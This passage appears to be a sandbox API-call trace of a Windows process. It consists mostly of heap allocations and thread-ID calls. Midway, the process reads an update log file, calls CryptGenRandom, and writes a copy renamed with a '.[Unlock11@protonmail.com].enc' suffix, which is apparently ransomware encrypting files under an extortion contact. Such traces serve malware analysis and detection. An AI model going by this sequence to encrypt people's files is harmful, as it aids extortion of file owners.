(HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.749] GetCurrentThreadId () returned 0x9b0 [0112.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0112.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a200d8, Size=0x18) returned 0x3183c00 [0112.749] GetCurrentThreadId () returned 0x9b0 [0112.750] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a20138, Size=0x18) returned 0x31838e0 [0112.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0112.750] GetCurrentThreadId () returned 0x9b0 [0112.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.750] GetCurrentThreadId () returned 0x9b0 [0112.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0112.750] GetCurrentThreadId () returned 0x9b0 [0112.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881078 [0112.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183c00, Size=0x14) returned 0x31839a0 [0112.751] GetCurrentThreadId () returned 0x9b0 [0112.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ad400 [0112.751] GetCurrentThreadId () returned 0x9b0 [0112.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881120 [0112.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838e0, Size=0x14) returned 0x3183a20 [0112.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881270 [0112.751] GetCurrentThreadId () returned 0x9b0 [0112.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0112.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31839a0, Size=0x10) returned 0x3881138 [0112.752] GetCurrentThreadId () returned 0x9b0 [0112.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881030, Size=0x20) returned 0x3028558 [0112.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183a20, Size=0x10) returned 0x3881270 [0112.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de608 [0112.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x10) returned 0x38812a0 [0112.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x10) returned 0x3881120 [0112.752] GetCurrentThreadId () returned 0x9b0 [0112.752] GetCurrentThreadId () returned 0x9b0 [0112.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0112.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0112.752] GetCurrentThreadId () returned 0x9b0 [0112.753] GetCurrentThreadId () returned 0x9b0 [0112.753] GetCurrentThreadId () returned 0x9b0 [0112.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810a8 [0112.753] GetCurrentThreadId () returned 0x9b0 [0112.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0112.753] GetCurrentThreadId () returned 0x9b0 [0112.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810c0 [0112.753] GetCurrentThreadId () returned 0x9b0 [0112.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0112.753] GetCurrentThreadId () returned 0x9b0 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.754] GetCurrentThreadId () returned 0x9b0 [0112.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de618 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de628 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.755] GetCurrentThreadId () returned 0x9b0 [0112.756] GetCurrentThreadId () returned 0x9b0 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812b8 [0112.756] GetCurrentThreadId () returned 0x9b0 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0112.756] GetCurrentThreadId () returned 0x9b0 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0112.756] GetCurrentThreadId () returned 0x9b0 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811c8 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0112.756] GetCurrentThreadId () returned 0x9b0 [0112.756] GetCurrentThreadId () returned 0x9b0 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] GetCurrentThreadId () returned 0x9b0 [0112.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812b8 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0112.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0112.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811c8 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0112.758] GetCurrentThreadId () returned 0x9b0 [0112.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812b8 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0112.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810c0 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0112.759] GetCurrentThreadId () returned 0x9b0 [0112.760] GetCurrentThreadId () returned 0x9b0 [0112.760] GetCurrentThreadId () returned 0x9b0 [0112.760] GetCurrentThreadId () returned 0x9b0 [0112.760] GetCurrentThreadId () returned 0x9b0 [0112.760] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262d78, Size=0x1) returned 0x33de5d8 [0112.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0112.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.760] GetCurrentThreadId () returned 0x9b0 [0112.760] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881210, Size=0x20) returned 0x30282d8 [0112.760] GetCurrentThreadId () returned 0x9b0 [0112.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.761] GetCurrentThreadId () returned 0x9b0 [0112.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811c8 [0112.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811c8, Size=0x10) returned 0x3881270 [0112.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x30281c0 [0112.761] GetCurrentThreadId () returned 0x9b0 [0112.761] GetCurrentThreadId () returned 0x9b0 [0112.761] GetCurrentThreadId () returned 0x9b0 [0112.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811c8 [0112.761] GetCurrentThreadId () returned 0x9b0 [0112.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361c8c0, Size=0x941) returned 0x33db5a8 [0112.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33db5a8, Size=0xf9a) returned 0x33ea018 [0112.762] GetCurrentThreadId () returned 0x9b0 [0112.762] GetCurrentThreadId () returned 0x9b0 [0112.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811c8, Size=0x10) returned 0x38811b0 [0112.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881168, Size=0x10) returned 0x38812b8 [0112.762] GetCurrentThreadId () returned 0x9b0 [0112.762] GetCurrentThreadId () returned 0x9b0 [0112.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811b0, Size=0x10) returned 0x38812e8 [0112.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812b8, Size=0x10) returned 0x38810a8 [0112.762] GetCurrentThreadId () returned 0x9b0 [0112.762] GetCurrentThreadId () returned 0x9b0 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812e8, Size=0x10) returned 0x3881048 [0112.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810a8, Size=0x10) returned 0x3881258 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881048, Size=0x10) returned 0x38812b8 [0112.763] GetCurrentThreadId () returned 0x9b0 [0112.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x10) returned 0x3881240 [0112.764] GetCurrentThreadId () returned 0x9b0 [0112.764] GetCurrentThreadId () returned 0x9b0 [0112.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812b8, Size=0x10) returned 0x38811b0 [0112.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881240, Size=0x10) returned 0x3881258 [0112.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811b0, Size=0x10) returned 0x38810c0 [0112.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x10) returned 0x38810f0 [0112.764] GetCurrentThreadId () returned 0x9b0 [0112.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810c0, Size=0x10) returned 0x3881258 [0112.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x10) returned 0x3881228 [0112.764] GetCurrentThreadId () returned 0x9b0 [0112.764] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] GetCurrentThreadId () returned 0x9b0 [0112.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x10) returned 0x3881090 [0112.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881228, Size=0x10) returned 0x3881030 [0112.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881030, Size=0x20) returned 0x3028558 [0112.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881090, Size=0x20) returned 0x3028378 [0112.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028378, Size=0x18) returned 0x3183a00 [0112.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x18) returned 0x31838a0 [0112.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183a00, Size=0x14) returned 0x31838c0 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838a0, Size=0x14) returned 0x3183b80 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361e6b8, Size=0x941) returned 0x33db5a8 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838c0, Size=0x10) returned 0x38810f0 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812e8, Size=0x20) returned 0x30283f0 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b80, Size=0x10) returned 0x3881288 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881288, Size=0x20) returned 0x3028558 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x3028260 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x38878d8 [0112.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x3887650 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887650, Size=0x24) returned 0x2a20288 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38878d8, Size=0x24) returned 0x2a201c8 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a20288, Size=0x18) returned 0x3183b20 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a201c8, Size=0x18) returned 0x3183aa0 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b20, Size=0x14) returned 0x3183a60 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183aa0, Size=0x14) returned 0x3183b20 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183a60, Size=0x10) returned 0x3881270 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b20, Size=0x10) returned 0x38811e0 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x10) returned 0x38811c8 [0112.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811e0, Size=0x10) returned 0x3881120 [0112.769] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2)) returned 1 [0112.770] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f96c | out: pbBuffer=0x347f96c) returned 1 [0112.771] CreateFileA (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.771] GetFileType (hFile=0x39c) returned 0x1 [0112.771] GetFileType (hFile=0x39c) returned 0x1 [0112.771] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.771] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.771] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.771] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.771] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.771] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.772] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.772] GetLastError () returned 0x0 [0112.772] GetLastError () returned 0x0 [0112.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0112.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0112.772] GetLastError () returned 0x0 [0112.772] GetLastError () returned 0x0 [0112.772] GetLastError () returned 0x0 [0112.772] GetLastError () returned 0x0 [0112.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0112.772] GetLastError () returned 0x0 [0112.773] CreateFileA (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.773] GetFileType (hFile=0x3ac) returned 0x1 [0112.773] GetLastError () returned 0x0 [0112.773] GetCurrentThreadId () returned 0x9b0 [0112.773] GetLastError () returned 0x0 [0112.773] GetFileType (hFile=0x3ac) returned 0x1 [0112.774] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.774] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.774] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.774] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.774] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.774] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.774] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.774] GetLastError () returned 0x0 [0112.774] GetCurrentThreadId () returned 0x9b0 [0112.774] GetLastError () returned 0x0 [0112.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0112.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.775] GetLastError () returned 0x0 [0112.775] GetLastError () returned 0x0 [0112.775] GetCurrentThreadId () returned 0x9b0 [0112.775] GetLastError () returned 0x0 [0112.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.775] GetLastError () returned 0x0 [0112.775] GetLastError () returned 0x0 [0112.775] GetCurrentThreadId () returned 0x9b0 [0112.775] GetLastError () returned 0x0 [0112.775] GetLastError () returned 0x0 [0112.778] GetLastError () returned 0x0 [0112.778] GetCurrentThreadId () returned 0x9b0 [0112.778] GetLastError () returned 0x0 [0112.778] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa6c7) returned 0x35c5908 [0112.778] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa6d5) returned 0x35c5908 [0112.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4b8 [0112.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0112.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa6d8) returned 0x35b89d8 [0112.779] GetCurrentThreadId () returned 0x9b0 [0112.779] GetLastError () returned 0x0 [0112.779] GetCurrentThreadId () returned 0x9b0 [0112.779] GetLastError () returned 0x0 [0112.779] GetCurrentThreadId () returned 0x9b0 [0112.779] GetLastError () returned 0x0 [0112.779] GetCurrentThreadId () returned 0x9b0 [0112.779] GetLastError () returned 0x0 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0112.780] GetCurrentThreadId () returned 0x9b0 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0112.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.781] GetCurrentThreadId () returned 0x9b0 [0112.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0112.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0112.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0112.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0112.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.781] GetCurrentThreadId () returned 0x9b0 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.782] GetCurrentThreadId () 